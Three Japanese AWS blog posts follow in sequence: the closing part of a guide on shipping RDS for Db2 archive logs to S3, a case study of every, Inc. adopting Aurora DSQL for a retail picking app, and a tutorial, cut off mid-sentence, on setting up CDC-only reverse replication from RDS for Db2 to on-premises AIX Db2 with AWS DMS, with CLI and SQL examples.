タイムスタンプの記録 – バックアップのタイムスタンプと最後に適用したログを記録しておき、トラブルシューティングと復旧計画に役立てます。 セキュリティ – S3 の保管中データ (SSE-S3 または SSE-KMS) と転送中データ (S3 アクセスの SSL/TLS) に暗号化を使用します。 クリーンアップ ロールフォワード処理が完了したら、Amazon S3 バケットからアーカイブログを削除して、割り当てられた領域を回収できます。このソリューションをテスト目的で使用している場合は、Amazon S3 バケット、RDS for Db2 インスタンス、EC2 インスタンス、および IAM などのその他のリソースを必ず削除してください。 まとめ RDS for Db2 のアーカイブログを Amazon S3 バケットにコピーすることで、セルフマネージドインフラ上にデータベースの同期コピーを維持する仕組みが得られます。この機能により、移行の計画、災害復旧の構築、開発環境の作成において、Amazon RDS のマネージドの利点とセルフマネージド Db2 インスタンスの制御性の両方を柔軟に活用できます。 本記事で説明した手順に従うことで、セルフマネージドの Db2 データベースを RDS インスタンスと同期させ続ける堅牢なデータレプリケーションパイプラインを、最小限のレイテンシーと運用負荷で構築できます。 Amazon RDS for Db2 の詳細については、 Amazon RDS for Db2 ユーザーガイド を参照してください。 謝辞 本記事を丁寧にレビューしてくれた Rajib Sarkar と Umair Hussain に感謝します。 著者について Vikram S Khatri Vikram は、 Vikram は Amazon RDS for Db2 のシニアエンジニアです。Db2 の分野で 20 年以上の経験を持ち、製品をゼロから作り上げることを楽しんでいます。余暇には瞑想を実践し、ポッドキャストを聴くのが好きです。 Kshitij Sanghoi Kshitij は、 Kshitij はシニアソフトウェア開発エンジニアで、11 年以上の AWS 経験を含む 15 年以上の IT 経験を持っています。 Sumit Kumar Sumit は、 Sumit は AWS のシニアソリューションアーキテクトで、複雑な問題を解決することを楽しんでいます。さまざまな業界のお客様を支援し、AWS クラウド上でワークロードの構築と設計を行ってきました。料理やチェス、家族と過ごす時間を楽しんでいます。 Javeed Mohammed Javeed は、 Javeed は Amazon Web Services (AWS) のシニアデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームに所属し、Oracle や Db2 などの商用データベースエンジンを担当しています。お客様と協力して、AWS クラウド上でリレーショナルデータベースワークロードの設計、デプロイ、最適化を支援することを楽しんでいます。 この記事はSolutions Architect の矢木 覚が翻訳しました。

    株式会社エブリーは、「前向きなきっかけを、ひとりひとりの日常にとどける。」というミッションのもと、デリッシュキッチン、retail HUB、トモニテ、MOMENTH といった BtoC・BtoB を横断するメディアやサービスを展開しています。同社では、小売事業者向けサービス retail HUB におけるピッキングサービスの新規開発にあたり、データベースとして Amazon Aurora DSQL を採用しました。本ブログでは、お客様の開発チームに伺った Aurora DSQL 採用の背景、導入の取り組み、そして導入後に得られた効果についてご紹介します。 対象システム 今回 Aurora DSQL を採用したのは、 retail HUB 事業のネットスーパーサービスにおけるピッキングサービスです。 retail HUB は、お客様が提供する小売事業者向けの DX ソリューションです。店頭サイネージによるレシピ提案、デジタルチラシ、ネットスーパーアプリの提供、店頭運営の効率化、CRM によるロイヤルカスタマー育成まで、小売事業者の販促プロセス全体をデジタル化し、業務効率化ときめ細やかな顧客アプローチを実現しています。 retail HUB 事業のネットスーパーサービスでは、店舗側が売り場から注文商品をピックアップする作業が発生しますが、従来この運用は紙のリストで行われており、商品を探すのに時間がかかることや習熟度による作業スピードのばらつきなどにより人的ミスの防止が難しく、誤ピックによる取り直しが発生するといった課題がありました。この問題を解決するため、ピッキングアプリ「retail HUB Picker」の開発が求められました。 アーキテクチャ ピッキングサービスのアーキテクチャは、ピッキングアプリ（Android アプリ）から Amazon ECS + ALB で構成された API サーバーに接続し、担当者の認証管理には Amazon Cognito を利用しています。バックエンドのデータベースとして Aurora DSQL を採用し、ピッキング対象の商品情報やピッキング状態、担当者情報の格納・参照に使用しています。 ピッキングサービスのシステムアーキテクチャは以下のとおりです。今回新規に開発したピッキングシステムは既存のネットスーパーシステムとは分離しており、注文データを連携する箇所のみで結合しています。 データベース選定の背景 今回のピッキングサービスは新規開発であり、データベースの選定にあたってはシステムの特性に合わせた検討が行われました。データベースに求められる要件は以下でした。 安定性と可用性 ピッキング作業中にシステムが停止すると店舗のピッキング業務に影響を与え、導入店舗数が増えるほどその影響範囲も大きくなるため、安定性と高い可用性が重要な要件でした。また、小売店舗は土日も稼働しているため、運営側の都合でメンテナンス時間を設定しにくいというビジネス上の課題も考慮する必要がありました。 低コストによるスモールスタート 初期フェーズではリクエスト数が限定的であり、構築・運用にあまりコストをかけたくないという要望がありました。一方で、今後サービスの成長に伴いトラフィックの増加も想定されるため、高いスケーラビリティを備えたデータベースであることが望ましいと考えていました。 運用負荷の軽減 メンテナンスウィンドウに伴う運用負荷が課題となっていました。新規サービスでは、こうした運用負荷を極力下げたいという考えがありました。 Aurora DSQL を選択した理由 お客様では当初、既存システムで利用している Amazon RDS for MySQL や Amazon Aurora MySQL の導入を想定していました。しかし、上記の要件を踏まえて検討を進めた結果、サーバーレスの分散データベースである Aurora DSQL が採用されました。その理由は以下の通りです。 安定性と可用性 — シングルリージョン構成で 99.99%（マルチリージョン構成では 99.999%）の可用性を備えたサーバーレスの分散データベースであり、インフラ管理が不要。ピッキング作業中のシステム停止リスクを低く抑えられる 低コストによるスモールスタート — 従量制の課金モデルで初期コストを抑えつつ、将来のサービス成長に伴うトラフィック増加にも自動スケールで対応できる 運用負荷の軽減 — パッチ適用がダウンタイムなしで自動的に行われるため、関係者との調整や作業工数が不要になる 加えて、Aurora DSQL が PostgreSQL との互換性を備えていたことで、社内の既存知見を活かしながら導入できる点も後押しとなりました。また、お客様の開発チームには分散データベースへの技術的な関心が高く、Aurora DSQL を通じて得られる知見が今後の技術選定の指標になるという期待も大きく、採用の決め手の一つとなりました。 Aurora DSQL とは Aurora DSQL は、AWS が提供するサーバーレスの分散 SQL データベースです。従来のデータベースのようにクエリ処理・ストレージ・トランザクション管理が密結合した構成ではなく、それぞれが独立したコンポーネントに分かれています。各コンポーネントがワークロードに応じて個別にスケールするため、特定の処理がボトルネックになりにくく、低レイテンシーで強固な一貫性を実現しています。また、PostgreSQL との互換性を備えており、既存の PostgreSQL の知見やツールを活かして開発を進めることができます。 お客様が選定の理由に挙げた以下の 3 つについて、Aurora DSQL の特性を簡単に説明します。 安定性と可用性 Aurora DSQL では、すべての書き込みトランザクションを分散トランザクションログにコミットし、コミットされたすべてのログデータを 3 つのアベイラビリティーゾーンにあるストレージレプリカに同期レプリケーションします。これにより、Aurora の Multi-AZ 構成と同等の 99.99% の可用性を実現しています。以下の図は、Aurora DSQL の可用性に関する特性を示しています。 低コストによるスモールスタート 課金はリクエスト数やデータ量に応じた従量制で、リクエスト数が少ない段階ではコストを低く抑えられます。アーキテクチャを変更することなく自動的にスケールするため、小規模な構成から始めて、トラフィックの増加に応じてシームレスにスケールすることができます。以下の図は、Aurora DSQL のコストモデルを示しています。 運用負荷の軽減 サーバーのプロビジョニングやパッチ適用、インフラのアップグレードといった管理作業が不要です。パッチ適用やセキュリティアップデートはダウンタイムなしで自動的に処理されるため、メンテナンスウィンドウの調整や計画停止が不要です。以下の図は、Aurora DSQL と従来のデータベースにおけるメンテナンスの違いを示しています。 開発時の課題 開発スケジュール 開発スケジュールは以下のとおりです。 時期 内容 2025年5月 小売事業者に対するヒアリング（事業部門＋開発部門） 2025年6月 運用分析、開発要件定義、分析要件定義、システム設計 2025年7月〜8月 開発（アプリケーション、API サーバー、インフラ、分析基盤） 2025年9月上旬 社内 QA 2025年9月中旬 リリース、小売事業者にて検証・運用開始 Aurora DSQL を用いた開発にあたっては、PostgreSQL との互換性に関していくつかの課題がありました。 スキーマ変更の制約 Aurora DSQL ではカラム追加時にデフォルト値を指定する構文がサポートされていないことが開発中に判明しました。PostgreSQL では一般的に使用される構文であるため、既存の知見をそのまま適用できないケースでした。対処として、カラムのみを追加し、デフォルト値や NOT NULL 制約はソフトウェアレベルで保証する実装としました。なお、サービスリリース前であったため、最終的にはテーブルを再作成することで問題を回避しました。このように、事前のドキュメント確認だけでは把握しきれず、実際の操作を通じて発見される差分もありました。 ローカル開発環境との互換性 当初ローカル開発では PostgreSQL のコンテナを使用していましたが、 CREATE INDEX を CREATE INDEX ASYNC に変更する必要があるなど、Aurora DSQL との互換性がない部分が判明したため、ローカル環境でも Aurora DSQL を使用する方式に切り替えました。 トランザクションサイズの制限 Aurora DSQL にはトランザクションデータ件数に制限があるため、大量のデータを一括で処理する実装には工夫が必要でした。この制限を回避するため、大量のデータ投入処理においては全体を 1 トランザクションにまとめず、処理を分割する設計としました。具体的には、データ量が大きい投入処理ではトランザクションを使わずに実行し、途中でエラーが発生しても何度でもやり直せる設計としました。その上で、整合性の担保が必要な少量のデータ更新処理だけをトランザクション内で実行するようにしました。 こうした課題を一つずつ解消しながら開発を進め、ピッキングサービスは無事にローンチを迎えました。 ローンチと導入後の効果 2025 年 9 月中旬にローンチしてから数ヶ月が経過していますが、大きな問題は発生しておらず、安定した稼働を続けています。 導入後に得られた効果は以下のとおりです。 コスト削減 Aurora PostgreSQL（Provisioned）で想定していたインスタンスサイズと比較すると、コストは 90% 以上低くなっています。従量制のコストモデルにより、初期フェーズにおいて大幅なコスト削減を実現しました。 以下は、今回のワークロードを想定したコスト比較の試算です。Aurora PostgreSQL（Provisioned）を 100 とした場合の相対コストを示しています。 構成 Pattern S コスト比 Pattern M コスト比 Pattern L コスト比 Aurora PostgreSQL (Provisioned) 100% 100% 100% Aurora Serverless v2 41% 41% 66% Aurora DSQL 4% 6% 12% 安定稼働とメンテナンスフリー サービス導入後は安定して稼働しており、パフォーマンス上の問題も発生していません。メンテナンスウィンドウが不要であるため、基盤のメンテナンス作業そのものだけでなく、それに伴う小売事業者やサービス利用者との調整業務も不要となりました。既存システムでは 3 ヶ月ごとのパッチアップデートのたびに、メンテナンス時間帯の調整、影響範囲の洗い出し、小売事業者や関係部署への連携が必要でしたが、Aurora DSQL ではこうした業務コストがゼロになり、運用負荷が大きく削減されました。 スケーラビリティの確保 現時点でのリクエスト数の変動については特に大きな問題は発生していません。今後のサービス成長に伴うトラフィック増加についても、検証の結果スケーリングに問題がないことを確認しており、今後のトラフィック増加にも不安なく運用できる見通しです。 お客様の声 お客様に Aurora DSQL の導入効果について伺ったところ、次のように述べています。 スケーラビリティと安定性の要件が高いシステムにおいて Aurora DSQL を選択する利点は高いと考えています。 – 内原 章 氏　株式会社エブリー 開発本部 開発2部 部長 今後の展望 お客様では、今回のピッキングサービスでの導入実績を踏まえ、スケーラビリティの要件が高いシステムにおいて Aurora DSQL を選択肢として検討していく方針です。新規開発だけでなく、既存システムのリプレースにおいても Aurora DSQL の活用を視野に入れています。 また、Aurora DSQL のさらなる進化への期待として、PostgreSQL との互換性向上を挙げています。特に RLS（Row Level Security）のような機能がサポートされることで、より幅広いユースケースに対応しやすくなると考えています。 Aurora DSQL は、高い可用性とスケーラビリティを必要とするシステムにおいて、運用負荷とコストの低減が期待できるデータベースです。本ブログが、同様の課題を持つお客様にとって参考になれば幸いです。

本記事は 2026 年 7 月 8 日 に公開された「 Fail back from Amazon RDS for Db2 to on-premises AIX Db2 using DMS 」を翻訳したものです。 本記事では、AWS Database Migration Service ( AWS DMS ) を使って、Amazon Relational Database Service ( Amazon RDS ) for Db2 からオンプレミスの AIX Db2 インスタンスへ、CDC のみのリバースレプリケーションを構成する方法を説明します。 Db2 ワークロードをオンプレミスの AIX から Amazon RDS for Db2 に移行した後は、カットオーバー後の重要な検証期間に問題が発生した場合でもデータの整合性を保てる、検証済みのフェイルバック経路が必要です。検証済みのフェイルバック戦略があれば、カットオーバー後にアプリケーションがコミットしたトランザクションを保持したまま、迅速にロールバックできます。標準的なバックアップとリストアの手法では数時間かかることがあり、最新の変更を取り込めない場合もあります。本記事で紹介する構成は、設定と検証におよそ 2〜3 時間かかります。 DMS を使えば、Amazon Relational Database Service (Amazon RDS) for Db2 からオンプレミスの AIX Db2 インスタンスへ、変更データキャプチャ (CDC) のみのリバースレプリケーション経路を構成できます。この方法は、AWS への移行中だけ機能する一時的なセーフティネットとして設計されており、本番ワークロードの切り替え後に問題が発生した場合にオンプレミス環境へ戻す助けとなります。 オンプレミス Db2 から Amazon RDS へのフォワード移行パターンには豊富なドキュメントがあります。詳しくは、 Migrate from self managed Db2 to Amazon RDS using DMS および Migrate from self managed Db2 to Amazon RDS using native tools を参照してください。Db2 のリバースレプリケーションパターンは、フォワード移行に比べてドキュメントが少ないのが現状です。本記事の方法を使えば、AIX 環境を起点とする Db2 ワークロード向けに、検証済みのフェイルバック戦略を実装できます。 Rolling back from a migration with AWS DMS 。 移行時のロールバック戦略の概念的な枠組みについては、basic fallback、fall forward、dual write、bidirectional replication という 4 つの戦略を解説した「Rolling back from a migration with DMS」を参照してください。本記事では、検証済みのフェイルバック経路を維持するため、CDC のみのタスクで Db2 の単方向リバースレプリケーションパターンを実装する方法に焦点を当てます。 ソリューションの概要 移行の検証中は、問題が発生しても安全にロールバックできるという確信が必要です。このリバースレプリケーションは、そのセーフティネットを提供するために設計されています。AWS へのデータベース移行はすべて、plan(計画)、migrate(移行)、validate(検証)、complete(完了)というライフサイクルをたどります。リバースレプリケーションが支えるのは validate フェーズです。カットオーバー後の検証期間(通常は 2〜4 週間)のみ稼働し、検証が成功した時点で廃止します。継続的なレプリケーションパターンではなく、移行を完了させる確信を得るための一時的な安全策です。コストの詳細は、本記事後半の「コストに関する考慮事項」セクションを参照してください。 この方法では、Amazon RDS をソース、オンプレミスの自己管理型 AIX Db2 インスタンスをターゲットとして AWS DMS の CDC のみのレプリケーションタスクを実行し、検証済みのフェイルバック経路を維持します。レプリケーションするのは進行中の変更のみ(フルロードなし)であり、冗長なデータ転送を回避します。オンプレミスのデータベースには、カットオーバー前の完全なデータセットがすでに含まれています。接続はプライベートのままで、パブリックサブネット、パブリック IP アドレス、インターネットゲートウェイのいずれも使用しません。データは AWS Direct Connect だけを経由して流れます。 データがインターネットゲートウェイを使わずプライベート接続を経由して流れる点に注目してください。次の図はこのアーキテクチャを示しています。 図 1: CDC のみのリバースレプリケーションのソリューションアーキテクチャ(プライベートネットワークのみ) 主要な設計上の決定 CDC のみ、フルロードなし: オンプレミスのデータベースにはカットオーバー前の完全なデータセットがすでに保持されているため、データの再ロードにかかる時間とコストを回避できます。カットオーバー後に Amazon RDS で行われた増分変更のみが戻されます。 プライベートのみのネットワークアーキテクチャ: データがパブリックインターネットを経由しません。DMS や Amazon RDS インスタンスにパブリックサブネットもパブリック IP アドレスもありません。AWS サービスへのアクセスは Amazon Virtual Private Cloud ( Amazon VPC ) エンドポイント ( AWS PrivateLink ) を経由し、データは AWS Direct Connect のプライベート VIF を通過します。 単方向リバースレプリケーション : カットオーバー後の検証期間中、アプリケーションは Amazon RDS にのみ書き込みます。リバース CDC タスクが変更をオンプレミスのデータベースにレプリケーションします。 接続には AWS Direct Connect: Amazon VPC とオンプレミスデータセンターの間の専用のプライベート接続で、インターネット経路は一切含まれません。 前提条件 このチュートリアルには、Db2 管理と AWS ネットワークに関する中級レベルの知識が必要です。構成全体の設定と検証には、およそ 2〜3 時間を見込んでください。リバースレプリケーションを構成する前に、次の要件を満たしていることを確認してください。 開始前に必要なもの フォワード移行が完了していること: DMS(フルロード + CDC)またはネイティブツールを使って、Db2 ワークロードをオンプレミスの AIX から Amazon RDS へ移行済みであること。 Amazon RDS インスタンス: Amazon Virtual Private Cloud (Amazon VPC) 内で稼働し、 PubliclyAccessible が false に設定された(プライベートエンドポイントのみの)Amazon RDS インスタンス。 オンプレミスの AIX Db2 インスタンス: 元のソースデータベースが破損せず利用可能な状態で、Db2 LUW バージョン 10.5 以降が稼働していること。 AWS Direct Connect: オンプレミスデータセンターと AWS の間で、プライベート仮想インターフェイス (VIF) を備えた AWS Direct Connect 接続が確立されていること。パブリックインターネット経由の VPN は使用しません。 このチュートリアルで作成するもの DMS レプリケーションインスタンス: バージョン 3.5.4 以降で、Publicly Accessible を false に設定したプライベートサブネットにデプロイします。 VPC エンドポイント: AWS Secrets Manager 、Amazon CloudWatch Logs、DMS のインターフェイスエンドポイント。これにより、DMS インスタンスはインターネットゲートウェイなしで AWS サービスにアクセスできます。 AWS Identity and Access Management ( IAM ) の権限: DMS に Amazon RDS for Db2、AWS Secrets Manager、Amazon CloudWatch へのアクセスを付与する IAM ロール。 データベースユーザーの権限: ソース (Amazon RDS for Db2) とターゲット (オンプレミスの AIX Db2) の両方のエンドポイントに対する適切な権限付与。 ネットワークアーキテクチャ: AWS Direct Connect によるプライベートのみの接続 ネットワークアーキテクチャ全体でプライベート接続のみを使用します。アーキテクチャにインターネットゲートウェイは含まれません。DMS レプリケーションインスタンスと Amazon RDS は、パブリック IP アドレスを持たないプライベートサブネットにデプロイします。Amazon VPC エンドポイント (AWS PrivateLink) が、 Amazon CloudWatch や AWS Secrets Manager などの AWS サービスに接続します。データは、プライベート仮想インターフェイスを使い、AWS Direct Connect だけを経由してオンプレミス環境へ流れます。 セキュリティグループの設定 通信をプライベートサブネットのみに制限するため、次のセキュリティグループを作成します。 DMS レプリケーションインスタンスのセキュリティグループ (dms-reverse-repl-sg): # Create security group for DMS replication instance aws ec2 create-security-group \ --group-name dms-reverse-repl-sg \ --description "SG for DMS reverse replication (private only)" \ --vpc-id vpc-<vpc-id> # Allow outbound to on-premises Db2 (port <db-port>) through AWS Direct Connect aws ec2 authorize-security-group-egress \ --group-id sg-dms-xxxxxxxxx \ --protocol tcp --port <db-port> \ --cidr <on-premises-db2-ip>/32 # Allow outbound to RDS for Db2 (port <db-port>) - private subnet aws ec2 authorize-security-group-egress \ --group-id sg-dms-xxxxxxxxx \ --protocol tcp --port <db-port> \ --cidr <private-subnet-cidr> # Allow outbound HTTPS to Amazon VPC Endpoints (443) aws ec2 authorize-security-group-egress \ --group-id sg-dms-xxxxxxxxx \ --protocol tcp --port 443 \ --cidr <vpc-cidr> Amazon RDS のセキュリティグループ (rds-db2-sg): # Allow inbound from DMS replication instance on port <db-port> aws ec2 authorize-security-group-ingress \ --group-id sg-rds-xxxxxxxxx \ --protocol tcp --port <db-port> \ --source-group sg-dms-xxxxxxxxx プライベートな AWS サービスアクセス用の VPC エンドポイント Amazon VPC にはインターネットゲートウェイがないため、DMS レプリケーションインスタンスが AWS サービスにプライベートにアクセスできるよう、Amazon VPC エンドポイントを作成します。 # Create Interface Amazon VPC Endpoints for DMS service access for SERVICE in secretsmanager monitoring logs dms; do aws ec2 create-vpc-endpoint \ --vpc-id vpc-<vpc-id> \ --service-name com.amazonaws.<aws-region>.${SERVICE} \ --vpc-endpoint-type Interface \ --subnet-ids subnet-aaaaaaaaaa \ --security-group-ids sg-vpce-xxxxxxxxx \ --private-dns-enabled done VPC ルートテーブルの設定 # Add route to on-premises network through VGW (private routing) aws ec2 create-route \ --route-table-id rtb-<route-table-id> \ --destination-cidr-block <on-premises-cidr> \ --gateway-id vgw-<vgw-id> # Note: No route to internet gateway - traffic stays private 接続の検証 DMS タスクを作成する前に、DMS インスタンス、ソース、ターゲット間のプライベート接続を検証します。 到達性をテストする : Amazon VPC Reachability Analyzer を使い、DMS サブネットからオンプレミス IP () へのポート <db-port> 経由のネットワーク経路を検証します。 ファイアウォールルールを確認する : オンプレミスのファイアウォールが、Amazon VPC の CIDR 範囲 () からのポート <db-port> 宛て受信 TCP トラフィックを許可していることを確認します。 エンドポイント接続をテストする : エンドポイントを作成した後、DMS の接続テストを使用します。 aws dms test-connection \ --replication-instance-arn arn:aws:dms:<aws-region>:<aws-account-id>:rep:my-instance \ --endpoint-arn arn:aws:dms:<aws-region>:<aws-account-id>:endpoint:my-target 期待される出力: { "Connection": { "ReplicationInstanceArn": "arn:aws:dms:<aws-region>:<aws-account-id>:rep:my-instance", "EndpointArn": "arn:aws:dms:<aws-region>:<aws-account-id>:endpoint:my-target", "Status": "testing", "LastFailureMessage": "", "EndpointIdentifier": "my-target", "ReplicationInstanceIdentifier": "my-instance" } } Amazon RDS for Db2 を CDC ソースとして構成する Amazon RDS を CDC ソースとして準備するため、次の 3 つの設定手順を実施します。 マスターユーザー(インスタンス作成時に指定した管理ユーザー)を使って Amazon RDS for Db2 インスタンスに接続します。次のコマンドには rdsadmin の権限が必要なため、標準的なデータベースユーザーでは権限が不足します。 アーカイブログ保持を有効にする -- Increase archive log retention to 24 hours CALL rdsadmin.set_archive_log_retention(?, 'PRODDB', '24'); 重要: アーカイブログの保持期間は最低でも 24 時間に設定してください。DMS タスクの処理が遅延し、必要なログがすでに削除されている場合、タスクは失敗し、新しい位置から再開する必要があります。 DATA CAPTURE CHANGES を有効にする ALTER TABLE SCHEMA_NAME.TABLE_NAME DATA CAPTURE CHANGES INCLUDE LONGVAR COLUMNS; DMS ユーザーに権限を付与する GRANT DBADM ON DATABASE TO USER dms_user; GRANT DATAACCESS ON DATABASE TO USER dms_user; オンプレミスの AIX Db2 をターゲットとして構成する AWS DMS からの CDC 変更を受け取れるよう、オンプレミスのターゲットデータベースを準備します。 SYSADM または SECADM 権限を持つユーザーを使って、オンプレミスの AIX Db2 インスタンスに接続します。次の GRANT ステートメントには、ターゲットデータベースの管理者権限が必要です。 ターゲットデータベースの権限を付与する GRANT DBADM ON DATABASE TO USER dms_user; GRANT DATAACCESS ON DATABASE TO USER dms_user; ターゲットテーブルを準備する 外部キー制約を削除または無効化する: AWS DMS は、親子関係の順序ではなくトランザクションログの順序で変更を適用します。外部キーを無効化しないと、子テーブルへの INSERT が対応する親行より先に到着し、参照整合性違反を引き起こしてレプリケーションタスクが失敗する可能性があります。フェイルバックを検証した後に制約を再度有効化します。 トリガーを無効化する : CDC の適用による意図しない副作用を防ぎます。 ALTER TABLE TARGET_SCHEMA.TABLE_NAME DEACTIVATE TRIGGERS; シーケンスをリセットする : RDS ソースから現在の値を取得し、ターゲットでリセットします。 SELECT 'ALTER SEQUENCE ' || TRIM(SEQSCHEMA) || '.' || TRIM(SEQNAME) || ' RESTART WITH ' || NEXTCACHEFIRSTVALUE || ';' FROM SYSCAT.SEQUENCES WHERE SEQSCHEMA IN ('APP_SCHEMA') AND SEQTYPE = 'S'; ステップバイステップ: CDC のみのリバースレプリケーションを作成する 次の 7 つのステップでは、CDC のみのリバースレプリケーション用の DMS リソースを作成する手順を説明します。以降のコマンドでは、プレースホルダーの値( vpc-xxxxxxxxx や sg-dms-xxxxxxxxx など)を実際のリソース識別子に置き換えてください。 ステップ 1: IAM ロールを作成する aws iam create-role --role-name dms-vpc-role \ --assume-role-policy-document '{ "Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Principal": {"Service": "dms.amazonaws.com"}, "Action": "sts:AssumeRole"}]}' aws iam attach-role-policy --role-name dms-vpc-role \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonDMSVPCManagementRole ステップ 2: DMS レプリケーションインスタンスを作成する(プライベート) aws dms create-replication-subnet-group \ --replication-subnet-group-identifier db2-reverse-repl-subnet-group \ --replication-subnet-group-description "Private subnets for reverse replication" \ --subnet-ids subnet-aaaaaaaaaa subnet-bbbbbbbbbb aws dms create-replication-instance \ --replication-instance-identifier db2-reverse-repl-instance \ --replication-instance-class dms.c6i.xlarge \ --allocated-storage 100 \ --vpc-security-group-ids sg-dms-xxxxxxxxx \ --replication-subnet-group-identifier db2-reverse-repl-subnet-group \ --no-multi-az --engine-version 3.5.4 \ --no-publicly-accessible 重要: --no-publicly-accessible フラグは非常に重要です。DMS インスタンスは、パブリック IP を持たないプライベートサブネットにデプロイされます。オンプレミスへの接続は、仮想プライベートゲートウェイ (VGW) を経由した AWS Direct Connect を通じて行われます。 ステップ 3: ソースエンドポイントを作成する (Amazon RDS for Db2) aws dms create-endpoint \ --endpoint-identifier rds-db2-source-for-reverse \ --endpoint-type source --engine-name db2 \ --server-name mydb2instance.xxxx.<aws-region>.rds.amazonaws.com \ --port <db-port> --database-name PRODDB \ --username dms_user --password '<your-password>' \ --ibm-db2-settings '{"CurrentLsn":"scan","SetDataCaptureChanges":true}' \ --extra-connection-attributes "StartFromContext=NOW;" 設定 値 目的 CurrentLsn scan Db2 ログをスキャンして、現在のログシーケンス番号 (LSN) の位置を判定します SetDataCaptureChanges true テーブルに対して DATA CAPTURE CHANGES を自動的に設定します StartFromContext NOW 最新のログシーケンスオフセットからキャプチャを開始します ステップ 4: ターゲットエンドポイントを作成する(オンプレミスの AIX Db2) aws dms create-endpoint \ --endpoint-identifier aix-db2-target-for-reverse \ --endpoint-type target --engine-name db2 \ --server-name <on-premises-db2-ip> \ --port <db-port> --database-name PRODDB \ --username dms_user --password '<your-password>' \ --ibm-db2-settings '{"LoadTimeout":1200,"MaxFileSize":1048576,"WriteBufferSize":1024}' ステップ 5: エンドポイント接続をテストする # Test both endpoints (must return "successful") aws dms test-connection \ --replication-instance-arn arn:aws:dms:...rep:db2-reverse-repl-instance \ --endpoint-arn arn:aws:dms:...endpoint:rds-db2-source-for-reverse aws dms test-connection \ --replication-instance-arn arn:aws:dms:...rep:db2-reverse-repl-instance \ --endpoint-arn arn:aws:dms:...endpoint:aix-db2-target-for-reverse ステップ 6: CDC のみのレプリケーションタスクを作成する aws dms create-replication-task \ --replication-task-identifier db2-reverse-cdc-task \ --source-endpoint-arn arn:aws:dms:...endpoint:rds-db2-source-for-reverse \ --target-endpoint-arn arn:aws:dms:...endpoint:aix-db2-target-for-reverse \ --replication-instance-arn arn:aws:dms:...rep:db2-reverse-repl-instance \ --migration-type cdc \ --table-mappings '{"rules":[ {"rule-type":"selection","rule-id":"1","rule-name":"exclude-sys", "object-locator":{"schema-name":"SYS%","table-name":"%"}, "rule-action":"exclude"}, {"rule-type":"selection","rule-id":"2","rule-name":"include-app", "object-locator":{"schema-name":"APP_SCHEMA","table-name":"%"}, "rule-action":"include"}]}' \ --cdc-start-position "scan" レプリケーションタスクの主要な設定 設定 値 目的 migration-type cdc CDC のみ — フルロードなし TargetTablePrepMode DO_NOTHING ターゲットの既存データを保持します BatchApplyEnabled true トランザクションをグループ化してスループットを向上させます EnableValidation true ソースとターゲットのデータを比較します ApplyErrorDeletePolicy IGNORE_RECORD ターゲットに存在しない行の削除操作をスキップします。タスクの失敗を回避できますが、トレードオフとして CDC 中に軽微な不整合が生じます cdc-start-position scan Db2 ログ内の現在の LSN から開始します 注: これらの設定は、タスク作成時に --replication-task-settings の JSON パラメータで渡します。ステップ 6 の CLI コマンドは簡略化した形式を使用しているため、JSON の構成を自分の環境に合わせて調整してください。 ステップ 7: レプリケーションタスクを開始する aws dms start-replication-task \ --replication-task-arn arn:aws:dms:...task:db2-reverse-cdc-task \ --start-replication-task-type start-replication モニタリングと検証 レプリケーションタスクを開始した後は、次の主要な Amazon CloudWatch メトリクスをモニタリングします。次の表は、メトリクス、しきい値、推奨されるアクションを示しています。メトリクスがしきい値を超えたときに Amazon Simple Notification Service (Amazon SNS) で通知を送信する Amazon CloudWatch アラームを設定することもできます。 メトリクス しきい値 アクション CDCLatencySource (ソースデータベースと AWS DMS の間の遅延秒数) > 120 秒 アーカイブログの保持期間と DMS インスタンスの CPU を確認する CDCLatencyTarget (DMS とターゲットデータベースの間の遅延秒数) > 120 秒 オンプレミス Db2 のパフォーマンスと AWS Direct Connect のレイテンシーを確認する CDCIncomingChanges (適用待ちの変更イベント数) 継続的に高い タスクが遅延している。レプリケーションインスタンスをスケールアップする CDCChangesDiskSource (レプリケーションインスタンスのメモリが不足したときに DMS がディスクに書き込む変更イベント) > 0 が継続 インスタンスのメモリ、または MemoryLimitTotal タスク設定(レプリケーションタスクが消費できる最大メモリ (MiB) を制御)を増やす CPUUtilization > 80% より大きなインスタンスクラスにスケールアップする aws cloudwatch put-metric-alarm \ --alarm-name db2-reverse-cdc-latency \ --metric-name CDCLatencySource --namespace AWS/DMS \ --statistic Average --period 300 --threshold 120 \ --comparison-operator GreaterThanThreshold \ --evaluation-periods 3 \ --alarm-actions arn:aws:sns:<aws-region>:<aws-account-id>:dms-alerts フェイルバック手順 オンプレミス環境へフェイルバックする必要がある場合は、ダウンタイムを最小限に抑え、データの整合性を維持するために次の手順に従います。 図 3: フェイルバックの実行手順 フェイルバック前のチェックリスト CDC のレイテンシーがほぼゼロであることを確認する : CDCLatencySource と CDCLatencyTarget が ≈ 0 データ検証が合格することを確認する : テーブルが Validated 状態になっている RDS へのアプリケーション書き込みを停止する : アプリケーション層を静止させる CDC タスクが排出済みであることを確認する: CDCIncomingChanges = 0 フェイルバックの実行 リバース CDC タスクを停止します。 ターゲットの外部キー制約を再度有効化します。 ターゲットテーブルのトリガーを再度有効化します。 シーケンスを Amazon RDS for Db2 の現在の値にリセットします。 アプリケーションの接続文字列を、オンプレミスの Db2 (:) を指すように更新します。 オンプレミスのデータベースに対してスモークテストを実行します。 任意: 再移行のために、フォワードレプリケーションを再度セットアップします。 リソースをクリーンアップする このリバースレプリケーションは、移行の検証フェーズを支えるためだけに存在します。継続的な利用を想定したものではありません。アプリケーションが 2〜4 週間問題なく稼働し、関連チームが承認し、変更管理が承認した時点で廃止する計画を立てます。廃止後は、課金を止めるために DMS レプリケーションインスタンス、エンドポイント、関連する IAM ロールを削除します。 aws dms stop-replication-task --replication-task-arn arn:aws:dms:... aws dms delete-replication-task --replication-task-arn arn:aws:dms:... aws dms delete-endpoint --endpoint-arn arn:aws:dms:... aws dms delete-replication-instance --replication-instance-arn arn:aws:dms:... 廃止後、延長した保持期間が不要になった場合は、Amazon RDS for Db2 インスタンスのアーカイブログ保持期間をデフォルト値に戻します。これにより、保持されたアーカイブログによるストレージコストを削減できます。 -- Revert archive log retention to default (1 hour) CALL rdsadmin.set_archive_log_retention(?, 'PRODDB', '1'); 制限事項 DMS は IBM Db2 for LUW を CDC ソースとしてサポートします。このアーキテクチャでは、オンプレミスの AIX Db2 インスタンスをターゲットエンドポイントとして構成し、標準的な Db2 接続を通じて変更を受け取ります。 DMS は Db2 LUW 